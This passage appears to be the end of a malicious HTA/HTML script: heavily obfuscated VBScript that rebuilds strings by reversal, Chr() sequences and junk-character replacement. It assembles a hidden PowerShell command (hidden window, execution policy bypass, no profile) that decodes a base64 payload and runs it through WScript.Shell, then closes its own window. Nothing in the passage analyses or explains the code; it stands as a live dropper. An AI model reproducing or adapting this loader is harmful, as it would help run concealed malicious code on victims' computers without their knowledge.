uBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
w" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
lBw" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
w" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
UBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
lBw" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
uBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
zBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
iBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
pBw" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
zBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
uBQ" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
" & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul & GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR & "
riDlLzYlQtcKqwOOuliQAGnGicZIAeAfWBWMSlUqKOPWWTceWIJWWXxODiSALdGkXniKwfSNQQLqGaKtCYNNbSeWelvhcUYWmNfN = DDOJgLUkWHsuAJULpXwmLHkDggLWJDLhpIxfkkNoUiJqRmDcpcZtjHAqcLCyofpLmGxGpmnwWmjoGpiCrUooDCumukgPJPctgcLC( riDlLzYlQtcKqwOOuliQAGnGicZIAeAfWBWMSlUqKOPWWTceWIJWWXxODiSALdGkXniKwfSNQQLqGaKtCYNNbSeWelvhcUYWmNfN, GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR + WqYjjdDWWHUTXWDCcSIIkdOqCRWtyhkohjPPanDeAXXaUBOAhGdWLYkKTQGdjGkSWZKiRdZWNIUUTDXciDHHUJncHnUBUfGWIYul + GYnbcsNYqOwWTWWOGKNhXRzGqYXgRKXYgMWqYYWWuMPdWKWngLJlWNLPnUnAcGYrRHqyNHPRqhKOHiMMxBOgDPWNlYKWwWfUKnKR , "Z")
Function cvJgQKOSciKfXLcWqLeQixvWUaZYQjCOdMtQxQPodHDOWthsIUiDBDIOKvqccYCRKscPxcxPIcXzDGWXgcWLUKiIiQGUriRIPegS(str)
Dim i, bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn
bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn = ""
For i = Len(str) To 1 Step -1
bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn = bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn & Mid(str, i, 1)
Next
cvJgQKOSciKfXLcWqLeQixvWUaZYQjCOdMtQxQPodHDOWthsIUiDBDIOKvqccYCRKscPxcxPIcXzDGWXgcWLUKiIiQGUriRIPegS = bvdXydTwihNQIchDYCpzMaWsDWalfkcomEtBOPhIvvdDULoBbZoLlLelHuBvWsUWBVEBmjsAXRpnGzmEPVSVtSLPymLPMzMDSBKn
End Function
Function uQoHVZCRWKCHXKVATFHldnQQUVdZOZdPGSUCHRICJMYXTNJUGHZGTnOCPMnAVDCOpsUECUMCWgAWsKMGBCWWZnWlvRlCrInGCUOG()
Dim vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvk
vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvk = ") ) )'A','
'(ecalper.ogidoc$ (gnirtS46esabmorF::]trevnoC.metsys["
vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvk = cvJgQKOSciKfXLcWqLeQixvWUaZYQjCOdMtQxQPodHDOWthsIUiDBDIOKvqccYCRKscPxcxPIcXzDGWXgcWLUKiIiQGUriRIPegS(vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvk)
uQoHVZCRWKCHXKVATFHldnQQUVdZOZdPGSUCHRICJMYXTNJUGHZGTnOCPMnAVDCOpsUECUMCWgAWsKMGBCWWZnWlvRlCrInGCUOG = vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvk
End Function
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = cvJgQKOSciKfXLcWqLeQixvWUaZYQjCOdMtQxQPodHDOWthsIUiDBDIOKvqccYCRKscPxcxPIcXzDGWXgcWLUKiIiQGUriRIPegS("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & riDlLzYlQtcKqwOOuliQAGnGicZIAeAfWBWMSlUqKOPWWTceWIJWWXxODiSALdGkXniKwfSNQQLqGaKtCYNNbSeWelvhcUYWmNfN & "'"
Function UWTKGULptpPmWQDZKhBfQrwWxGQGKUQxkriPLpHOIpsZpKIHkduTprrPUIIDGmYWPHxBLHKGtfYPcQpepLPPqIDdBpKWDHhTOUWk()
Dim vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvkg
vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvkg = Chr(59)&Chr(36)&Chr(79)&Chr(87)&Chr(106)&Chr(117)&Chr(120)&Chr(100)&Chr(32)&Chr(61)&Chr(32)&Chr(91)&Chr(115)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(46)&Chr(84)&Chr(101)&Chr(120)&Chr(116)&Chr(46)&Chr(101)&Chr(110)&Chr(99)&Chr(111)&Chr(100)&Chr(105)&Chr(110)&Chr(103)&Chr(93)&Chr(58)&Chr(58)&Chr(85)&Chr(110)&Chr(105)&Chr(99)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(71)&Chr(101)&Chr(116)&Chr(83)&Chr(116)&Chr(114)&Chr(105)&Chr(110)&Chr(103)&Chr(40)&Chr(32)
UWTKGULptpPmWQDZKhBfQrwWxGQGKUQxkriPLpHOIpsZpKIHkduTprrPUIIDGmYWPHxBLHKGtfYPcQpepLPPqIDdBpKWDHhTOUWk = vKJdIzvnqdIGFKCCvqEDwDexOuJGTYlAOsGMnJgWONMpMIcHjHFwIRbENjNpjPDnDoCclYEhAhWGlvgzrVTgosUMcBJLiuVLkQvkg
End Function
Function AeUoczWXWzPUAwLGfUxPDlAzXHQeLoDPGvAcNXoLnWHjPJqRGUHLPAAPjNTDczWccGXSrMqrWPPjDXfpJWoodTUcaXSDiogLcNBm(command)
obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO = "
@!-#!)!$!7*//*1*@&%-$@*#%&/5#916(1/@!*(*#8)$))$$(%*%#&$/$((%7*#&1$
*))&)))(45$/(6&*((
@#@%($&$(
@](+}}
**(@]:
]4+}(}
@@((4@
:*rsh(
@](+}}
**(@]:
]4+}(}
@@((4@
:*ll -co%%@!*#!&!%!$
$($(&@
#$%*%#%($*-%@!$1
#((%&($5(
$(%(7%(
(*$$$6$
&*%@#@%*$
$6%*#%%@!*#!&!%!$
$($(&@
#$%*%#%($*-%@!$1
#((%&($5(
$(%(7%(
(*$$$6$
&*%@#@%*$
$6%*#and " & command
obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO,"(
@](+}}
**(@]:
]4+}(}
@@((4@
:*","e")
obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO,"%%@!*#!&!%!$
$($(&@
#$%*%#%($*-%@!$1
#((%&($5(
$(%(7%(
(*$$$6$
&*%@#@%*$
$6%*#","m")
obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO,"
@!-#!)!$!7*//*1*@&%-$@*#%&/5#916(1/@!*(*#8)$))$$(%*%#&$/$((%7*#&1$
*))&)))(45$/(6&*((
@#@%($&$(
(#","p")
obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlOe = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
Set bApXpBYZGDbRSBzORlKrWnoQUOcIcfWizXdcSZwxgGPwGGIMzWJWGPWSIrHApdGvPnUKwhbNGrKqzkwDkYGGJHWDKZxvOwPWHcZL = CreateObject(obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlOe)
bApXpBYZGDbRSBzORlKrWnoQUOcIcfWizXdcSZwxgGPwGGIMzWJWGPWSIrHApdGvPnUKwhbNGrKqzkwDkYGGJHWDKZxvOwPWHcZL.Run obNGQIYhUPHMqJcOulnbHIBxpeWIKIHuobtIGhcNWUPdNHploGJWNxDbqrwAQdGBbWpKwOKNUbCbncSXbYZZNwPzghOHocrWZZlO, 0, False
End Function
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh & UWTKGULptpPmWQDZKhBfQrwWxGQGKUQxkriPLpHOIpsZpKIHkduTprrPUIIDGmYWPHxBLHKGtfYPcQpepLPPqIDdBpKWDHhTOUWk()
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh & uQoHVZCRWKCHXKVATFHldnQQUVdZOZdPGSUCHRICJMYXTNJUGHZGTnOCPMnAVDCOpsUECUMCWgAWsKMGBCWWZnWlvRlCrInGCUOG()
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh & ";
((#]#@
:@##}]@
(ow}*$}:$@
}@$$]]@
h}*$}:$@
}@$$]]@
ll.+@(
}*$}:$@
}@$$]]@
x}*$}:$@
}@$$]]@
-windo+@(
wstyl}*$}:$@
}@$$]]@
hi+@(
dden -}*$}:$@
}@$$]]@
x}*$}:$@
}@$$]]@
cut+@(
ionpolicy byp+@(
ss -NoP+@(
rofil}*$}:$@
}@$$]]@
-com+@(
mand $OW+@(
fKzfomCGaoZvqCWHpcdgwXdtrucUsmwRDnlZjGiRHdDDzoMWDHGCzWCUbLQnoKwNWNrjvIfLageqWwUwDCzzKQeUPGlHWicCCvkg = "+@(
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh, fKzfomCGaoZvqCWHpcdgwXdtrucUsmwRDnlZjGiRHdDDzoMWDHGCzWCUbLQnoKwNWNrjvIfLageqWwUwDCzzKQeUPGlHWicCCvkg + ";" + fKzfomCGaoZvqCWHpcdgwXdtrucUsmwRDnlZjGiRHdDDzoMWDHGCzWCUbLQnoKwNWNrjvIfLageqWwUwDCzzKQeUPGlHWicCCvkg, "")
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh, "}*$}:$@
}@$$]]@
", "e")
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh, "
((#]#@
:@##}]@
(", "p")
DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh = VdTRKUZSuAoPswHBomRzOLhrQjXYyIkSHoAhBcVpEpzbZdIYULChkFCtRTvCTAOvshLYgepgDUIIhspKkOPPiRZXyzCrqejXFiHN(DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh, "#####", "o")
AeUoczWXWzPUAwLGfUxPDlAzXHQeLoDPGvAcNXoLnWHjPJqRGUHLPAAPjNTDczWccGXSrMqrWPPjDXfpJWoodTUcaXSDiogLcNBm(DnQADUCbcJKDgOfSYScBfpJUlRONQhfRXHnesbHWpKbOoIKbXaWNoGRcyuKLDHPvuWluCAxgcBWuWuKygOuQsHfZxbcnKHNDcbNh)
self.close
</script>
</body>
</html>